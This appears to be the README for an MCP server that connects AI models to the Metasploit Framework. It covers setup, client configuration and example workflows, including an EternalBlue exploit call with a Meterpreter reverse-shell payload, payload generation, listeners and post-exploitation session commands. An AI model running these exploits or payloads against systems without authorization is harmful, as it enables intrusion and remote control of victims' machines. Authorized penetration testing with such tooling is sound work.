Metasploit Framework MCP server

The Metasploit MCP server creates a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It enables AI assistants to access and control Metasploit functionality through a natural language interface, streamlining complex security testing workflows.

Prerequisites

• Metasploit Framework installed and msfrpcd running
• Python 3.10 or higher
• Required Python packages

Installation

1. Clone the repository
2. Install dependencies:

   pip install -r requirements.txt
   

3. Configure environment variables (optional):

   MSF_PASSWORD=yourpassword
   MSF_SERVER=127.0.0.1
   MSF_PORT=55553
   MSF_SSL=false
   PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads
   

Getting Started

Start the Metasploit RPC service:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Transport Options

The server supports two transport methods:

• HTTP/SSE (Server-Sent Events): Default mode for most MCP clients
• STDIO (Standard Input/Output): Used with Claude Desktop and similar direct connections

Select the transport mode using the --transport flag:

# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http

# Run with STDIO transport
python MetasploitMCP.py --transport stdio

Additional options for HTTP mode:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Client Integration

Claude Desktop Integration

Configure claude_desktop_config.json:

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

Other MCP Clients

For MCP clients using HTTP/SSE:

1. Start the server in HTTP mode:

   python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
   

2. Connect your MCP client to the SSE endpoint: http://your-server-ip:8085/sse

Available Features

Module Information

• list_exploits: Search and list available Metasploit exploit modules
• list_payloads: Search and list available Metasploit payload modules with optional filtering

Exploitation Workflow

• run_exploit: Configure and execute an exploit against a target
• run_auxiliary_module: Run any Metasploit auxiliary module with custom options
• run_post_module: Execute post-exploitation modules against existing sessions

Payload Generation

• generate_payload: Generate payload files using Metasploit RPC

Session Management

• list_active_sessions: Show current Metasploit sessions with detailed information
• send_session_command: Run a command in an active shell or Meterpreter session
• terminate_session: Forcefully end an active session

Handler Management

• list_listeners: Show all active handlers and background jobs
• start_listener: Create a new multi/handler to receive connections
• stop_job: Terminate any running job or handler

Example Workflows

Basic Exploitation

1. List available exploits: list_exploits("ms17_010")
2. Select and run an exploit: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
3. List sessions: list_active_sessions()
4. Run commands: send_session_command(1, "whoami")

Post-Exploitation

1. Run a post module: run_post_module("windows/gather/enum_logged_on_users", 1)
2. Send custom commands: send_session_command(1, "sysinfo")
3. Terminate when done: terminate_session(1)

Handler Management

1. Start a listener: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
2. List active handlers: list_listeners()
3. Generate a payload: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
4. Stop a handler: stop_job(1)

Configuration Options

Payload Save Directory

By default, payloads generated with generate_payload are saved to a payloads directory in your home folder. You can customize this location by setting the PAYLOAD_SAVE_DIR environment variable.

Setting the environment variable:

• Windows (PowerShell):

  $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  

• Windows (Command Prompt):

  set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  

• Linux/macOS:

  export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  

• In Claude Desktop config:

  "env": {
      "MSF_PASSWORD": "yourpassword",
      "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"
  }
  

Security Considerations

⚠️ IMPORTANT SECURITY WARNING:

This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.

• Always validate and review all commands before execution
• Only run in segregated test environments or with proper authorization
• Be aware that post-exploitation commands can result in significant system modifications

How to install this MCP server

For Claude Code

To add this MCP server to Claude Code, run this command in your terminal:

claude mcp add-json "metasploit" '{"command":"python","args":["MetasploitMCP.py","--transport","http"],"env":{"MSF_PASSWORD":"yourpassword","MSF_SERVER":"127.0.0.1","MSF_PORT":"55553","MSF_SSL":"false"}}'

See the official Claude Code MCP documentation for more details.

For Cursor

There are two ways to add an MCP server to Cursor. The most common way is to add the server globally in the ~/.cursor/mcp.json file so that it is available in all of your projects.

If you only need the server in a single project, you can add it to the project instead by creating or adding it to the .cursor/mcp.json file.

Adding an MCP server to Cursor globally

To add a global MCP server go to Cursor Settings > Tools & Integrations and click "New MCP Server".

When you click that button the ~/.cursor/mcp.json file will be opened and you can add your server like this:

{
    "mcpServers": {
        "metasploit": {
            "command": "python",
            "args": [
                "MetasploitMCP.py",
                "--transport",
                "http"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword",
                "MSF_SERVER": "127.0.0.1",
                "MSF_PORT": "55553",
                "MSF_SSL": "false"
            }
        }
    }
}

Adding an MCP server to a project

To add an MCP server to a project you can create a new .cursor/mcp.json file or add it to the existing one. This will look exactly the same as the global MCP server example above.

How to use the MCP server

Once the server is installed, you might need to head back to Settings > MCP and click the refresh button.

The Cursor agent will then be able to see the available tools the added MCP server has available and will call them when it needs to.

You can also explicitly ask the agent to use the tool by mentioning the tool name and describing what the function does.

For Claude Desktop

To add this MCP server to Claude Desktop:

1. Find your configuration file:

• macOS: ~/Library/Application Support/Claude/claude_desktop_config.json
• Windows: %APPDATA%\Claude\claude_desktop_config.json
• Linux: ~/.config/Claude/claude_desktop_config.json

2. Add this to your configuration file:

{
    "mcpServers": {
        "metasploit": {
            "command": "python",
            "args": [
                "MetasploitMCP.py",
                "--transport",
                "http"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword",
                "MSF_SERVER": "127.0.0.1",
                "MSF_PORT": "55553",
                "MSF_SSL": "false"
            }
        }
    }
}

3. Restart Claude Desktop for the changes to take effect